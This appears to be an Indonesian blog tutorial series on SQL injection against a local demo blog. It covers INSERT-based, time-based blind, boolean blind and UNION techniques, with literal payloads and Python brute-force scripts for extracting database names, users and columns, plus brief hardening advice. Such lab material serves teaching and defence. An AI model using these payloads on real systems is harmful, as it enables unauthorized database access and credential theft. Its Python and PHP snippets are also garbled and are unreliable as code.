Halaman

    Social Items


SQL Injection Pada Proses INSERT


Sebelum masuk bagaimana cara untuk menginject pada proses Insert, kalian bisa download filenya di https://goo.gl/mMn6Vg
Ini adalah cara untuk menginject sesuatu dengan cara INSERT. Dengan contoh kasus yang saya berikan link di atas.

Kita akan test untuk mengirim pesan pada form kirim pesan pada contoh kasus yang saya berikan.
jika di isikan Test pada nama dan Pesan maka tidak akan masuk apa apa di dalam Guest Book.
 Untuk statement  untuk INSERT database :

- - $input1           test’, database()) - -

INSERT INTO tabel (kolom1, kolom2, kolom3)
VALUES (‘vall’, ‘test’, database()) - - ‘, ‘{$input2}’);

Program di atas adalah logika untuk statement INSERT, jika di masukkan didalam from kirim pesan

name : test’, database()) - -
pesannya : sfasfafasfasdg (pesan asal)

maka akan muncul “pesan tersimpan”


Dan berarti kita sudah benar menebak jumlah kolom pada database tersebut.
Jika ingin mengetahui nama user pada web tersebut bisa menggunakan program ini didalam from kirim pesan :

name : test’, database()) - -
pesannya : sfasfafasfasdg (pesan asal)

perbedaannya hanya pada statement setelah test’ lalu akan muncul nama user yang sesuai tertera pada web tersebut. Dan jika
Penjelasan statement

test’ =  nama dari defaultnya
database() = memanggil fungsi database dan akan muncul nama databasenya
user() = memanggil fungsi user dan akan muncul nama usernya

Cara untuk mengamankan input 1 yaitu dengan mengganti dan menambahkan beberapa program berikut ini pada gbpost.php :

<?php
Session_start();
Include ‘koneksi.php’;

$nama = mysqli_real escape_string($conn, $_POST[‘nama’]);
$pesan = $_POST[‘pesan’];

$insert = mysqli_query($conn, “INSERT INTO guestbook (id, tanggal, nama, pesan) VALUES(NULL, NOW(), ‘{$nama}’, ‘{$pesan}’)”);

jika penggalan program sudah di edit, lalu di kirim kembali pesan yang sama dari sebelumnya maka akan ditampilkan :


Kita tidak bisa lagi menjalankan yang tadi, dan akan menampilkan data apa adanya (real) sesuai apa yang di input dalam form nama. Dan kita sudah tidak berahasil menginject kolom nama. Tapi bagaimana dengan kolom pesannya? Oke kita lanjut untuk mengamankan kolom pesan.
Tahap selanjutnya untuk input yang 1 sudah aman, maka yang harus diamankan juga di input yang kedua. Dengan logika seperti di bawah ini :

- - $input1           aman
- - $input2           test’), (NULL, database(), user()) - -

INSERT INTO tabel (kolom1, kolom2, kolom3)
VALUES (‘vall’, ‘input1’, ‘test’), (NULL, database(), user()) - - ‘);

Dan kita akan tetap bisa mendapatkan informasi dari database dengan teknik  BLIND SQL INECTION dan Time Based, jadi walaupun insert bisa juga dengan BLIND dan time based. Ini adalah statementa yang dimasukkan ke dalam form pesan:

Test’), (NULL, NOW(), (IF(database() = ‘blog’, sleep(5), 0)), user()) - -


SQL Injection Pada Proses Insert


BLIND SQL Injection berbasis waktu (time-based)


Sama seperti contoh kasus sebelumnya, jika belum membaca bisa klik link di bawah sini 
hanya saja perbedaannya BLIND kali ini menggunakan waktu atau based time, menunggu beberapa detik untuk mengetahui benar atau salahnya.
Jadi untuk membedakan benar atau salah kita memanfaatkan waktu. Misalkan jika pernyataan benar maka kita tunda eksekusinya 3 detik. Dengan fungsi Sleep(3) dan jika salah tidak di apa apakan. Dalam kasus ini saya mempunyai database dengan nama ‘blog’
Dengan kode program di bawah ini :

xyz’OR IF(1=1, sleep(3), 0) - - 

Dan akan menunggu selama 3 detik dulu. Menunggu respon sesuai dari program. Karena barbasis waktu kita perlu menunggu dan juga kita sulit membedakan itu waktu koneksi (koneksi yang bermasalah) atau webnya ‘sleep’.

Sekarang kita akan coba Brute Force, prinsipnya sama dengan blind SQLi. Dengan kode program di bawah ini :

xyz’OR IF(substring(database(), 1, 1)= ‘a’, sleep(3), 0) - -

jika di submit maka akan muncul “login sedang disable”


Disini bisa di ketahui bahwa huruf a bukan dari nama depan database target, selanjutnya bisa langsung mencoba dengan huruf selanjutnya.

xyz’OR IF(substring(database(), 1, 1)= ‘b’, sleep(3), 0) - -

jika di masukkan ‘b’ akan muncul


Bisa di lihat di kursor dia akan melambar selama 3 detik, jika. Dia melambat selama 3 detik berarti bisa di ketahui bahwa huruf depan dalam database adalah ‘b’, selanjutnya lakukan pengimputan huruf ke 2 sampai selesai. Dengan kode program seperti :

xyz’OR IF(substring(database(), 2, 1)= ‘a’, sleep(3), 0) - -

lakukan hingga selesai.

Ada cara yang lebih mudah sama seperti metode bling yang sebelumnya dengan menggunakan script Phyton, jadi akan muncul secara otomatis dan tidak di input satu satu dalam form login.
Buat program baru, lalu masukkan kode program seperti ini :

import requests
import sys
import time
url : ‘http://localhost/blog/andmin_login.php’   //ini adalah url targetnya
for c in range 1, 20);
for c in range(0x20, 0x7f);

username = “xyz’ OR IF(BINARY substring(database(), %d, 1) = ‘%s’ , sleep(3), 0) - - “ %(i, (chr(c))
password = “12345” //option saja bebas di isi apa saja

form =  {‘username’ : uisername, ‘password’ :password, ‘submit’ : ‘Login’} //bisa dilihat dari formnya
response = requests.post(url, data =form)
print ‘’

dengan kode program di atas kita bisa mengetahui nama database secra otomatis, dengan menjalankan terminal/cmd. Maka akan ditampilkan seperti ini :


Dan selain bisa tahu nama databasenya, kita juga bisa mengetahui user, kolom, password apa saja yang ada di dalam database tersebut.



SQL Injection Metode BLIND Berbasis Waktu (Time-Based)


BLIND  SQL INJECTION


Blind SQL Ini adalah metode hacking yang memungkinkan seorang Attacker yang tidak sah untuk mengakses server database.
Hal ini difasilitasi oleh sebuah kesalahan pengkodean umum: program menerima data dari klien dan mengeksekusi query SQL tanpa terlebih dahulu memvalidasi masukan klien.

Dalam contoh kasus yang saya miliki, dalam page Login Admin dengan penggalan program seperti di bawah ini :

if (isset($_POST[‘submin’])){
                $username = $_POST[‘username’];
                $password = $_POST[‘password’];
                $login = mysqli_query($conn, *SELECT * FROM user WHERE username = ‘{username}’ AND password}’”);
                if (mysqli_num_rows(%login) == 0){
                                die(“Username atau password salah!”);
                } else {
                                $_SESSION[‘admin’] = 1;
                                Header(“Location: admin.php”);
}
}

Dalam penggalan program di atas bisa di lihat tidak di tampilkan hasil querynya, hanya dicek dua kondisi.
Yang pertama kalau kondisi salah :
            
if (mysqli_num_rows(%login) == 0){
                                die(“Username atau password salah!”);
}

Dan yang kedua kondisi benar :

$_SESSION[‘admin’] = 1;
                                Header(“Location: admin.php”);

Dalam dua kondisi tersebut bisa di manfaatkan untuk mengambil data dari suatu database bahkan jika SELECT * FROM user WHERE username ditampilkan hasil Querynya, yaitu teknik dengan BLIND
Selanjutnya kita akan mencari tahu dan masuk ke dalam halaman Admin dengan mencoba di page login, (dengan nama database saya ‘blog’ ini adalah syntact programnya:
Dalam username di isi dengan memanfaatkan fungsi substring, jadi kita cek satu persatu huruf nya

Xyz’ OR BINARY substring(database(), 1, 1) =’a’ --

Program di atas, dicek apakah huruf pertama dari database itu sama dengan ‘a’.  

maka akan muncul



Jika program di atas salah, berarti huruf depan database bukan ‘a’ maka di coba kembali dengan huruf lain hingga ada yang benar.
dan ini adalah program yang benar
Xyz’ OR BINARY substring(database(), 1, 1) =’b’ --          



  
Kenapa bisa benar? Karena dalam nama database yang saya miliki huruf depannya ‘b’ dalam ‘blog’, selanjutnya jika ingin mencari huruf kedua sampai selanjutnya masukkan program

Xyz’ OR BINARY substring(database(), 2, 1) =’a’ - -

Dan seterusnya hingga dapat nama database “body”.
Jika menggunakan cara seperti tadi kurang efektif bisa menggunakan scrip phyton seperti modul request ke halaman web tadi.
Buat program baru, lalu masukkan kode program seperti ini :
import requests
url : ‘http://localhost/blog/andmin_login.php’   //ini adalah url targetnya
for c in range 1, 10);
for c in range(0x20, 0x7f);

username = “xyz’ OR BINARY substring(database(), 1, 1= ‘%s’ - -  ” % (chr(c))
password = “12345” //option saja bebas di isi apa saja

form =  {‘username’ : uisername, ‘password’ :password, ‘submit’ : ‘Login’} //bisa dilihat dari formnya
response = requests.post(url, data =form)
if “Halaman administrasi blog” in response.text;
                status = True
elif “Username atau password salah!” in response.text;
                status = False
if status == True ;
                print chr(c)
break
dengan kode program di atas kita bisa mengetahui nama database secra otomatis, dengan menjalankan terminal/cmd. Maka akan ditampilkan seperti ini :


Dan selain bisa tahu nama databasenya, kita juga bisa mengetahui user, kolom, password apa saja yang ada di dalam database tersebut.


SQL Injection Dengan Metode BLIND


SQL Injection dengan Teknik Union


SQL injection dengan Teknik Union yaitu untuk menggabungkan hasil query dengan query yang lainnya. dan saya juga akan menjelaskan bagaimana cara kita untuk memgamankan dan mencegah database kita dari serangan pencuri (hacker)
Misalnya dalam tabel post yang anda punya. Disini saya mencontohkan syntact yang saya punya.

SELECT * FROM post WHERE id = 1

kalau seperti itu query normalnya akan menghasilkan satu baris saja, kalau syntact di atas itu biasanya kita bisa melihat isi databasenya dengan Teknik Union dengan di tambahkan :

SELECT * FROM post WHERE id = 1 UNION SELECT 1,2,3,4

UNION SELECT 1,2,3,4 (harus sesuai dengan kolom yang anda punya) yaitu kita menselect angka 1 sampai dengan 4, kalau di jalankan di SQLnya maka akan muncul di baris pertama itu berasal dari tabel post dan baris ke dua itu dari SELECT 1,2,3,4 dari hasil union tadi.

Dan bagaimana cara kita dapetnya cuma yang SELECT 1,2,3,4, yaitu dengan cara kita mengembalikan hasil querynya untuk tidak menghasilkan apapun.
cara agar mendapatkan SELECT 1,2,3,4 :
1. Dengan cara menambahkan ID yang besar
                contoh : SELECT * FROM post WHERE id = 9999 UNION SELECT 1,2,3,4
2. Dengan cara menambahkan syntact AND 1=2
                contoh : SELECT * FROM post WHERE id = 1 AND 1=2 UNION SELECT 1,2,3,4

Dalam syntact SELECT * FROM post WHERE id = 9999 UNION SELECT 1,2,3,4. Di nomer dua dan 4 bisa di isi dengan apapun, bisa juga diisi dengan fungsi mysql.

Contoh : SELECT * FROM post WHERE id = 9999 UNION SELECT 1,database(),3, user()

fungsi di atas yaitu untuk mengembalikan nama user dan nama database yang aktif saat ini. Selanjutnya Masukkan input pada web 9999 UNION SELECT 1,database(),3, user(). maka akan di tampilkan nama user dan nama database yang aktif yang di pakai di aplikasi tersebut.

Cara terakhir untuk mendapatkan ID, USERNAME, PASSWORD, dan EMAIL dengan cara teknik union yaitu dengan menambahkan :

SELECT * FROM post WHERE id = 9999 UNION SELECT 1, group_concat(column name), 3, 3 FROM information_schema.columns WHERE table_schema = 'blog' AND table_name = 'user'

maka akan muncul Seperti ini :



Dengan Proteksi simpel seperti ini kita dapat mencegah database kita dari serangan jahat atau pencuri (hacker) yang ingin mengambil data data di dalam database kita.

SQL Injection dengan Teknik Union